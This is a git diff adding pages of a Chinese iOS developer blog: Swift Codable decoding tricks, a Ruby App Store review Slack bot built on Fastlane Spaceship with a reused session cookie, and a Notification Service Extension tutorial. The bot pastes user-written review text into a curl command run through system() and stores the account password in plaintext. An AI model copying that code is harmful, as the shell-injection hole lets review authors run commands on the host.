且不是真的 override,無法 call super.decode,也要小心不要自己 call 自己(EX: decode(Bool.Type,for:key) in decode(Bool.Type,for:key) )

decode 有兩個方法:

  • decode(Type, forKey:) 處理非 Optional 資料欄位
  • decodeIfPresent(Type, forKey:) 處理 Optional 資料欄位

範例1. 前述的主要問題就我們可以直接 extenstion:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
extension KeyedDecodingContainer {
+    public func decodeIfPresent<T>(_ type: T.Type, forKey key: Self.Key) throws -> T? where T : Decodable {
+        //better:
+        switch type {
+        case is OptionalValue<String>.Type,
+             is OptionalValue<Int>.Type:
+            return try? decode(type, forKey: key)
+        default:
+            return nil
+        }
+        // or just return try? decode(type, forKey: key)
+    }
+}
+
+struct Song: Decodable {
+    var id: Int
+    var file: OptionalValue<String>?
+}
+

因主要問題是 Optional 資料欄位、Decodable 類型,所以我們複寫的是 decodeIfPresent<T: Decodable> 這個方法。

這邊推測原本 decodeIfPresent 的實作是,如果資料是 null 或 Response 未給 會直接 return nil,並不會真的跑 decode。

所以原理也很簡單,只要 Decodable Type 是 OptionValue<T> 則不論如何都 decode 看看,我們才能拿到不同狀態結果;但其實不判斷 Decodable Type 也行,那就是所有 Optional 欄位都會試著 Decode。

範例2. 問題場景1 也能用此方法擴充:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
extension KeyedDecodingContainer {
+    public func decodeIfPresent(_ type: Bool.Type, forKey key: KeyedDecodingContainer<K>.Key) throws -> Bool? {
+        if let intValue = try? decodeIfPresent(Int.self, forKey: key) {
+            return (intValue == 1) ? (true) : (false)
+        } else if let boolValue = try? decodeIfPresent(Bool.self, forKey: key) {
+            return boolValue
+        }
+        return nil
+    }
+}
+
+struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case like
+    }
+    
+    var id: Int
+    var name: String?
+    var like: Bool?
+}
+
+var jsonData = """
+{
+    "id": 1,
+    "name": "告五人",
+    "like": 1
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

結語

Codable 在使用上的各種奇技淫巧都用的差不多了,有些其實很繞,因為 Codable 的約束性實在太強、犧牲許多現實開發上需要的彈性;做到最後甚至開始思考為何當初要選擇 Codable,優點越做越少….

參考資料

回看

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

使用 Google Site 建立個人網站還跟得上時代嗎?

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

diff --git a/posts/cb0c68c33994/index.html b/posts/cb0c68c33994/index.html new file mode 100644 index 000000000..43c79c41c --- /dev/null +++ b/posts/cb0c68c33994/index.html @@ -0,0 +1,595 @@ + AppStore APP’s Reviews Bot 那些事 | ZhgChgLi
Home AppStore APP’s Reviews Bot 那些事
Post
Cancel

AppStore APP’s Reviews Bot 那些事

AppStore APP’s Reviews Slack Bot 那些事

使用 Ruby+Fastlane-SpaceShip 動手打造 APP 評價追蹤通知 Slack 機器人

Photo by [Austin Distel](https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Austin Distel

吃米不知米價

[AppReviewBot 為例](https://appreviewbot.com){:target="_blank"}

AppReviewBot 為例

最近才知道 Slack 中轉發 APP 最新評價訊息的機器人是要付費的,我一直以為這功能是免費的;費用從 $5 到 $200 美金/月都有,因為各平台都不會只做「App Review Bot」的功能,其他還有數據統計、紀錄、統一後台、與競品比較…等等,費用也是照各平台能提供的服務為標準;Review Bot 只是他們的一環,但我就只想用這個功能其他不需要,如果是這樣付費蠻浪費的。

問題

本來是用免費開源的工具 TradeMe/ReviewMe 來做 Slack 通知,但這個工具已年久失修,時不時 Slack 會爆噴一些舊的評價,看得讓人心驚膽顫(很多 Bug 都早已修復,害我們以為又有問題!),原因不明。

所以考慮找其他工具、方法取代。

TL;DR [2022/08/10] Update:

現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App Reviews 監控機器人 」。

====

2022/07/20 Update

App Store Connect API 現已支援 讀取和管理 Customer Reviews ,App Store Connect API 原生已支援存取 App 評價, 不需要再使用 Fastlane — Spaceship 去後台拿評價。

原理探究

有了動機之後,再來研究下達成目標的原理。

官方 API ❌

蘋果有提供 App Store Connect API ,但沒提供撈取評價功能。

[2022/07/20 更新]: App Store Connect API 現已支援 讀取和管理 Customer Reviews

Public URL API (RSS) ⚠️

蘋果有提供公開的 APP 評價 RSS 訂閱網址 ,而且除了 rss xml 還提供 json 格式。

1
+
https://itunes.apple.com/國家碼/rss/customerreviews/id=APP_ID/page=1/sortBy=mostRecent/json
+
  • 國家碼:可參考 這份文件
  • APP_ID:前往 App 網頁版,會得到網址:https://apps.apple.com/tw/app/APP名稱/id 12345678 ,id 後面的數字及為 App ID(純數字)。
  • page:可請求 1~10 頁,超過無法取得。
  • sortBy: mostRecent/json 請求最新的& json 格式,也可改為 mostRecent/xml 則為 xml 格式。

評價資料回傳如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
{
+  "author": {
+    "uri": {
+      "label": "https://itunes.apple.com/tw/reviews/id123456789"
+    },
+    "name": {
+      "label": "test"
+    },
+    "label": ""
+  },
+  "im:version": {
+    "label": "4.27.1"
+  },
+  "im:rating": {
+    "label": "5"
+  },
+  "id": {
+    "label": "123456789"
+  },
+  "title": {
+    "label": "很棒的存在!"
+  },
+  "content": {
+    "label": "人生值得了~",
+    "attributes": {
+      "type": "text"
+    }
+  },
+  "link": {
+    "attributes": {
+      "rel": "related",
+      "href": "https://itunes.apple.com/tw/review?id=123456789&type=Purple%20Software"
+    }
+  },
+  "im:voteSum": {
+    "label": "0"
+  },
+  "im:contentType": {
+    "attributes": {
+      "term": "Application",
+      "label": "應用程式"
+    }
+  },
+  "im:voteCount": {
+    "label": "0"
+  }
+}
+

優點:

  1. 公開、不需身份驗證步驟即可存取
  2. 簡單好用

缺點:

  1. 此 RSS API 很老舊都沒更新
  2. 回傳評價的資訊太少(沒留言時間、已編輯過評價?、已回覆?)
  3. 遇到資料錯亂問題(後面幾頁偶爾會突然噴舊資料)
  4. 最多存取 10 頁

關於我們遇到的最大問題是 3;但這部分不確定是我們用的 Bot 工具 問題,還是這個 RSS URL 資料有問題。

Private URL API ✅

這個方法說來有點旁門左道,也是我突發奇想發現的;但在後續參考了其他 Review Bot 做法之後發現很多網站也都是這樣用,應該沒什麼問題而且我 4~5 年前就看過有工具這樣做了,只是當時沒深入研究。

優點:

  1. 同蘋果後台資料
  2. 資料完整且最新
  3. 可做更多細節篩選
  4. 具備深度整合的 APP 工具也是用這個方法(AppRadar/AppReviewBot…)

缺點:

  1. 非官方公布方法(旁門左道)
  2. 因蘋果實行全面兩步驟登入,所以登入 session 需要定期更新。

第一步 — 嗅探 App Store Connect 後台評論區塊 Load 資料的 API:

得到蘋果後台是透過打:

1
+
https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/APP_ID/platforms/ios/reviews?index=0&sort=REVIEW_SORT_ORDER_MOST_RECENT
+

這個 endpoint 取得評價列表:

index = 分頁 offset,一次最多顯示 100 筆。

評價資料回傳如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
{
+  "value": {
+    "id": 123456789,
+    "rating": 5,
+    "title": "很棒的存在!",
+    "review": "人生值得了~",
+    "created": null,
+    "nickname": "test",
+    "storeFront": "TW",
+    "appVersionString": "4.27.1",
+    "lastModified": 1618836654000,
+    "helpfulViews": 0,
+    "totalViews": 0,
+    "edited": false,
+    "developerResponse": null
+  },
+  "isEditable": true,
+  "isRequired": false,
+  "errorKeys": null
+}
+

另外經過測試後發現,只需要在帶上 cookie: myacinfo=&lt;Token&gt; 即可偽造請求得到資料:

API 有了、要求的 header 知道了,再來就要想辦法自動化取得後台這個 cookie 資訊。

第二步 —萬能 Fastlane

因蘋果現在實行全 Two-Step Verification,所以對於登入驗證自動化變得更加煩瑣,幸好與蘋果鬥智鬥勇的 Fastlane ,除了正規的 App Store Connect API、iTMSTransporter、網頁認證(包含兩步驟認證)全都有實作;我們可以直接使用 Fastlane 的指令:

1
+
fastlane spaceauth -u <App Store Connect 帳號(Email)>
+

此指令會完成網頁登入驗證(包含兩步驟認證),然後將 cookie 存入 FASTLANE_SESSION 檔案之中。

會得到類似如下字串:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
!ruby/object:HTTP::Cookie
+name: myacinfo  value: <token>  
+domain: apple.com for_domain: true  path: "/"  
+secure: true  httponly: true  expires: max_age: 
+created_at: 2021-04-21 20:42:36.818821000 +08:00  
+accessed_at: 2021-04-21 22:02:45.923016000 +08:00
+!ruby/object:HTTP::Cookie
+name: <hash>  value: <token>
+domain: idmsa.apple.com for_domain: true  path: "/"
+secure: true  httponly: true  expires: max_age: 2592000
+created_at: 2021-04-19 23:21:05.851853000 +08:00
+accessed_at: 2021-04-21 20:42:35.735921000 +08:00
+

myacinfo = value 帶入就能取得評價列表。

第三步 — SpaceShip

本來以為 Fastlane 只能幫我們到這了,再來要自己串起從 Fastlane 拿到 cookie 然後打 api 的 flow;沒想到經過一番探索發現 Fastlane 關於驗證這塊的模組 SpaceShip 還有更多強大的功能!

`SpaceShip`

SpaceShip

SpaceShip 裡面已經幫我們打包好撈評價列表的方法 Class: Spaceship::TunesClient::get_reviews 了!

1
+
app = Spaceship::Tunes::login(appstore_account, appstore_password)
+

*storefront = 地區

第四步 — 組裝

Fastlane、Spaceship 都是由 ruby 撰寫,所以我們也要用 ruby 來製作這個 Bot 小工具。

我們可以建立一個 reviewBot.rb 檔案,編譯執行時只需在 Terminal 輸入:

1
+
ruby reviewBot.rb
+

即可。 ( *更多 ruby 環境問題可參考文末提示)

首先 ,因原本的 get_reviews 口的參數不符合我們需求;我想要的是全地區、全版本的評價資料、不需要篩選、支援分頁:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
# Extension Spaceship->TunesClient
+module Spaceship
+  class TunesClient < Spaceship::Client
+    def get_recent_reviews(app_id, platform, index)
+      r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT")
+      parse_response(r, 'data')['reviews']
+     end
+  end
+end
+

所以我們自己在 TunesClient 中擴充一個方法,裡面參數只帶 app_id、platform = ios ( 全小寫 )、index = 分頁 offset。

再來組裝登入驗證、撈評價列表:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
index = 0
+breakWhile = true
+while breakWhile
+  app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼)
+  reviews = app.get_recent_reviews($app_id, $platform, index)
+  if reviews.length() <= 0
+    breakWhile = false
+    break
+  end
+  reviews.each { |review|
+    index += 1
+    puts review["value"]
+  }
+end
+

使用 while 遍歷所有分頁,當跑到無內容時終止。

再來要加上紀錄上次最新一筆的時間,只通知沒通知過的最新訊息:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
lastModified = 0
+if File.exists?(".lastModified")
+  lastModifiedFile = File.open(".lastModified")
+  lastModified = lastModifiedFile.read.to_i
+end
+newLastModified = lastModified
+isFirst = true
+messages = []
+
+index = 0
+breakWhile = true
+while breakWhile
+  app = Spaceship::Tunes::login(APPStoreConnect 帳號(Email), APPStoreConnect 密碼)
+  reviews = app.get_recent_reviews($app_id, $platform, index)
+  if reviews.length() <= 0
+    breakWhile = false
+    break
+  end
+  reviews.each { |review|
+    index += 1
+    if isFirst
+      isFirst = false
+      newLastModified = review["value"]["lastModified"]
+    end
+
+    if review["value"]["lastModified"] > lastModified && lastModified != 0  
+      # 第一次使用不發通知
+      messages.append(review["value"])
+    else
+      breakWhile = false
+      break
+    end
+  }
+end
+
+messages.sort! { |a, b|  a["lastModified"] <=> b["lastModified"] }
+messages.each { |message|
+    notify_slack(message)
+}
+
+File.write(".lastModified", newLastModified, mode: "w+")
+

單純用一個 .lastModified 紀錄上一次執行時拿到的時間。

*第一次使用不發通知,否則會一次狂噴

最後一步,組合推播訊息 & 發到 Slack:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
# Slack Bot
+def notify_slack(review)
+  rating = review["rating"].to_i
+  color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger")
+  like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : ""
+  date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}"
+  
+    
+  isResponse = ""
+  if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"]
+    isResponse = " (回覆已過時)"
+  end
+  
+  edited = review["edited"] == false ? "" : ":memo: 使用者更新評論#{isResponse}:"
+
+  stars = "★" * rating + "☆" * (5 - rating)
+  attachments = {
+    :pretext => edited,
+    :color => color,
+    :fallback => "#{review["title"]} - #{stars}#{like}",
+    :title => "#{review["title"]} - #{stars}#{like}",
+    :text => review["review"],
+    :author_name => review["nickname"],
+    :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>"
+  }
+  payload = {
+   :attachments => [attachments],
+   :icon_emoji => ":storm_trooper:",
+   :username => "ZhgChgLi iOS Review Bot"
+  }.to_json
+  cmd = "curl -X POST --data-urlencode 'payload=#{payload}' SLACK_WEB_HOOK_URL"
+  system(cmd, :err => File::NULL)
+  puts "#{review["id"]} send Notify Success!"
+ end
+

SLACK_WEB_HOOK_URL = Incoming WebHook URL

最終結果

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+
require "Spaceship"
+require 'json'
+require 'date'
+
+# Config
+$slack_web_hook = "目標通知的 web hook url"
+$slack_debug_web_hook = "機器人有錯誤時的通知 web hook url"
+$appstore_account = "APPStoreConnect 帳號(Email)"
+$appstore_password = "APPStoreConnect 密碼"
+$app_id = "APP_ID"
+$platform = "ios"
+
+# Extension Spaceship->TunesClient
+module Spaceship
+  class TunesClient < Spaceship::Client
+    def get_recent_reviews(app_id, platform, index)
+      r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT")
+      parse_response(r, 'data')['reviews']
+     end
+  end
+end
+
+# Slack Bot
+def notify_slack(review)
+  rating = review["rating"].to_i
+  color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger")
+  like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : ""
+  date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}"
+  
+    
+  isResponse = ""
+  if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"]
+    isResponse = " (客服回覆已過時)"
+  end
+  
+  edited = review["edited"] == false ? "" : ":memo: 使用者更新評論#{isResponse}:"
+
+  stars = "★" * rating + "☆" * (5 - rating)
+  attachments = {
+    :pretext => edited,
+    :color => color,
+    :fallback => "#{review["title"]} - #{stars}#{like}",
+    :title => "#{review["title"]} - #{stars}#{like}",
+    :text => review["review"],
+    :author_name => review["nickname"],
+    :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>"
+  }
+  payload = {
+   :attachments => [attachments],
+   :icon_emoji => ":storm_trooper:",
+   :username => "ZhgChgLi iOS Review Bot"
+  }.to_json
+  cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_web_hook}"
+  system(cmd, :err => File::NULL)
+  puts "#{review["id"]} send Notify Success!"
+ end
+
+begin
+    lastModified = 0
+    if File.exists?(".lastModified")
+      lastModifiedFile = File.open(".lastModified")
+      lastModified = lastModifiedFile.read.to_i
+    end
+    newLastModified = lastModified
+    isFirst = true
+    messages = []
+
+    index = 0
+    breakWhile = true
+    while breakWhile
+      app = Spaceship::Tunes::login($appstore_account, $appstore_password)
+      reviews = app.get_recent_reviews($app_id, $platform, index)
+      if reviews.length() <= 0
+        breakWhile = false
+        break
+      end
+      reviews.each { |review|
+        index += 1
+        if isFirst
+          isFirst = false
+          newLastModified = review["value"]["lastModified"]
+        end
+
+        if review["value"]["lastModified"] > lastModified && lastModified != 0  
+          # 第一次使用不發通知
+          messages.append(review["value"])
+        else
+          breakWhile = false
+          break
+        end
+      }
+    end
+    
+    messages.sort! { |a, b|  a["lastModified"] <=> b["lastModified"] }
+    messages.each { |message|
+        notify_slack(message)
+    }
+    
+    File.write(".lastModified", newLastModified, mode: "w+")
+rescue => error
+    attachments = {
+        :color => "danger",
+        :title => "AppStoreReviewBot Error occurs!",
+        :text => error,
+        :footer => "*因蘋果技術限制,精準評價爬取功能約每一個月需要重新登入設定,敬請見諒。"
+    }
+    payload = {
+        :attachments => [attachments],
+        :icon_emoji => ":storm_trooper:",
+        :username => "ZhgChgLi iOS Review Bot"
+    }.to_json
+    cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_debug_web_hook}"
+    system(cmd, :err => File::NULL)
+    puts error
+end
+

另外還加上了 begin…rescue (try…catch) 保護,如果有出現錯誤則發 Slack 通知我們回來檢查(多半是 session 過期)。

最後只要將此腳本加到 crontab / schedule 等排程工具定時執行即可!

效果圖:

免費的其他選擇

  1. AppFollow :使用 Public URL API (RSS),只能說堪用吧。
  2. feedis.io :使用 Private URL API,需要把帳號密碼給他們。
  3. TradeMe/ReviewMe :自架服務(node.js),我們原先用這個,但遇到前述問題。
  4. JonSnow :自架服務(GO),支援一鍵部署到 heroku,作者: @saiday

溫馨提示

1.⚠️Private URL API 方法,如果用有二階段驗證的帳號,最長每 30 天都需要重新驗證才能使用且目前無解;如果有辦法生出沒二階段的帳號就可以無痛爽爽用。

[#important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"}

#important-note-about-session-duration

2.⚠️不論是免費、付費、本文的自架;切勿使用開發者帳號,務必開一個獨立的 App Store Connect 帳號使用,權限只開放「Customer Support」;防止資安問題。

3.Ruby 建議使用 rbenv 進行管理,因系統自帶 2.6 版容易造成衝突。

4.在 macOS Catalina 如遇到 GEM、Ruby 環境錯誤問題,可參考 此回覆 解決。

Problem Solved!

經過以上心路歷程,更瞭解的 Slack Bot 的運作方式;還有 iOS App Store 是如何爬取評價內容的,另外也摸了下 ruby!寫起來真不錯!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

ZReviewsBot — Slack App Review 通知機器人

diff --git a/posts/cb6eba52a342/index.html b/posts/cb6eba52a342/index.html new file mode 100644 index 000000000..a630abb46 --- /dev/null +++ b/posts/cb6eba52a342/index.html @@ -0,0 +1,245 @@ + iOS ≥ 10 Notification Service Extension 應用 (Swift) | ZhgChgLi
Home iOS ≥ 10 Notification Service Extension 應用 (Swift)
Post
Cancel

iOS ≥ 10 Notification Service Extension 應用 (Swift)

iOS ≥ 10 Notification Service Extension 應用 (Swift)

圖片推播、推播顯示統計、推播顯示前處理

關於基礎的推播建置、推播原理;網路資料很多,這邊就不再論述,本篇主要重點在如何讓APP支援圖片推播及運用新特性達成更精準的推播顯示統計.

如上圖所示,Notification Service Extension讓你在APP收到推播後能針對推播做預處理,然後才顯示推播內容

官方文件寫到,我們針對推播進來的內容做處理時,處理時限大約30秒鐘,如果超過30秒還沒CallBack,推播就會繼續執行,出現在使用者的手機.

支援度

iOS ≥ 10.0

30秒可以幹嘛?

  • (目標1) 從推播內容的圖片連結欄位下載圖片回來,並附加到推播內容上🏆

  • (目標2) 統計推播有無顯示🏆
  • 推播內容修改、重組內容
  • 推播內容加解密(解密)顯示
  • 決定推播要不要顯示? =>> 答案:不行

首先,後端推播程式的 Payload 部分

後端在推播時的結構要多加上一行 “mutable-content":1 系統收到推播才會執行Notification Service Extension

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
{
+    "aps": {
+        "alert": {
+            "title": "新文章推薦給您",
+            "body": "立即查看"
+        },
+        "mutable-content":1,
+        "sound": "default",
+        "badge": 0
+    }
+}
+

And… 第一步,為專案新建一個Target

**Step 1.** Xcode -> File -> New -> Target

Step 1. Xcode -> File -> New -> Target

**Step 2.** iOS -> Notification Service Extension -> Next

Step 2. iOS -> Notification Service Extension -> Next

**Step 3.** 輸入Product Name -> Finish

Step 3. 輸入Product Name -> Finish

**Step 4.** 點選 Activate

Step 4. 點選 Activate

第二步,撰寫推播內容處理程式

找到Product Name/NotificationService.swift檔

找到Product Name/NotificationService.swift檔

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
import UserNotifications
+
+class NotificationService: UNNotificationServiceExtension {
+
+    var contentHandler: ((UNNotificationContent) -> Void)?
+    var bestAttemptContent: UNMutableNotificationContent?
+
+    override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) {
+        self.contentHandler = contentHandler
+        bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
+        
+        if let bestAttemptContent = bestAttemptContent {
+            // Modify the notification content here...
+            // 推播內容在這處理,Load 圖片回來
+            bestAttemptContent.title = "\(bestAttemptContent.title) [modified]"
+            
+            contentHandler(bestAttemptContent)
+        }
+    }
+    
+    override func serviceExtensionTimeWillExpire() {
+        // Called just before the extension will be terminated by the system.
+        // Use this as an opportunity to deliver your "best attempt" at modified content, otherwise the original push payload will be used.
+        // 要逾時了,不管圖片 只改標題內容就好
+        if let contentHandler = contentHandler, let bestAttemptContent =  bestAttemptContent {
+            contentHandler(bestAttemptContent)
+        }
+    }
+
+}
+

如上程式碼,NotificationService有兩個接口;第一個是 didReceive 當有推播進來時會觸發這個function,其中當處理完畢後需要呼叫 contentHandler(bestAttemptContent) 這個CallBack Method告知系統

如果時間過久都沒呼叫CallBack Method,就會觸發第二個 function serviceExtensionTimeWillExpire() 已逾時,基本上已回天乏術,只能做一些收尾的動作(例如:單純改改標題、內容,不Load網路資料了)

實戰範例

這裡假設我們的 Payload 如下

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
{
+    "aps": {
+        "alert": {
+            "push_id":"2018001",
+            "title": "新文章推薦給您",
+            "body": "立即查看",
+            "image": "https://d2uju15hmm6f78.cloudfront.net/image/2016/12/04/3113/2018/09/28/trim_153813426461775700_450x300.jpg"
+        },
+        "mutable-content":1,
+        "sound": "default",
+        "badge": 0
+    }
+}
+

「push_id」跟「image」都是我自訂的欄位,push_id用於辨識推播方便我們傳回伺服器做統計;image 則是推播要附加的圖片內容之圖片網址

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+
override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) {
+    self.contentHandler = contentHandler
+    bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
+    
+    if let bestAttemptContent = bestAttemptContent {
+        
+        guard let info = request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary<String,String> else {
+            contentHandler(bestAttemptContent)
+            return
+            //推播內容格式不如預期,不處理
+        }
+        
+        //目標2:
+        //回傳Server,告知推播有顯示
+        if let push_id = alert["push_id"],let url = URL(string: "顯示統計API網址") {
+            var request = URLRequest(url: url, cachePolicy: .reloadIgnoringLocalCacheData, timeoutInterval: 30)
+            request.httpMethod = "POST"
+            request.addValue(UserAgent, forHTTPHeaderField: "User-Agent")
+            
+            var httpBody = "push_id=\(push_id)"
+            request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+            request.httpBody = httpBody.data(using: .utf8)
+            
+            let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                
+            }
+            DispatchQueue.global().async {
+                task.resume()
+                //異步處理,不管他
+            }
+        }
+        
+        //目標1:
+        guard let imageURLString = alert["image"],let imageURL = URL(string: imageURLString) else {
+            contentHandler(bestAttemptContent)
+            return
+            //若無附圖片,則不用特別處理
+        }
+        
+        
+        let dataTask = URLSession.shared.dataTask(with: imageURL) { (data, response, error) in
+            guard let fileURL = NSURL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(imageURL.lastPathComponent) else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            guard (try? data?.write(to: fileURL)) != nil else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            
+            guard let attachment = try? UNNotificationAttachment(identifier: "image", url: fileURL, options: nil) else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            //以上為讀取圖片連結並下載到手機並放入建立UNNotificationAttachment
+            
+            bestAttemptContent.categoryIdentifier = "image"
+            bestAttemptContent.attachments = [attachment]
+            //為推播添加附件圖片
+            
+            bestAttemptContent.body = (bestAttemptContent.body == "") ? ("立即查看") : (bestAttemptContent.body)
+            //如果body為空,則用預設內容"立即查看"
+            
+            contentHandler(bestAttemptContent)
+        }
+        dataTask.resume()
+    }
+}
+

serviceExtensionTimeWillExpire 的部分我沒特別處理什麼,就不貼了;關鍵還是上述 didReceive 的程式碼

可以看到當接受到有推播通知時,我們先Call Api告訴後端有收到並將顯示推播了,方便我們後台做推播統計;然後若有附加圖片再對圖片進行處理.

In-App狀態時:

ㄧ樣會觸發Notification Service Extension didReceive 再觸發AppDelegate的 func application( _ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any ], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) 方法

附註:關於圖片推播的部分你還可以….

使用 Notification Content Extension 自訂推播按壓時要顯示的UIView(可以自己刻),還有按壓的動作

可參考這篇: iOS10推送通知进阶(Notification Extension)

iOS 12之後支援更多動作處理: iOS 12 新通知功能:添加互動性 在通知中實作複雜功能

Notification Content Extension的部分,我只拉了一個能展示圖片推播的UIView 並沒有做太多琢磨:

[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

結婚吧APP

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS UITextView 文繞圖編輯器 (Swift)

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)

diff --git a/posts/d01252331b53/index.html b/posts/d01252331b53/index.html new file mode 100644 index 000000000..40df243fb --- /dev/null +++ b/posts/d01252331b53/index.html @@ -0,0 +1 @@ + Medium 經營一年回顧 | ZhgChgLi
Home Medium 經營一年回顧
Post
Cancel

Medium 經營一年回顧

Medium 經營一年回顧

Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結

轉眼之間在 Medium 發表文章已經過了一年,實際上週年慶應該是 2019/10 (2018/10 第一篇);但那時太忙了沒有靈感;眼看時間又向前邁入 2020 ,趕緊把經營一年的心得記錄一下、也當作是 2019 年總結吧!

回顧

在此先感謝 Enther WuChih-Hung Yeh 的推坑,重新燃起我的寫文魂;起初的文章比較像自己的日常或工作的心得筆記,內容較為空洞;不過依然很不要臉的貼到社群分享,現在回去看一開始的文章覺得有點糗,不知道在寫啥,內容含金量不高。

不過一切都是成長的過程,越寫越有手感,在記錄的過程中研究的範疇越來越廣;因為怕誤人子弟、怕有遺漏的地方、怕是自己誤會;在這些壓力下,寫文章不只是記錄了,而是自己對某個問題的深入探索,更多的反而是自己的收穫成長;相對地與大家分享的內容質量也提高了不少。

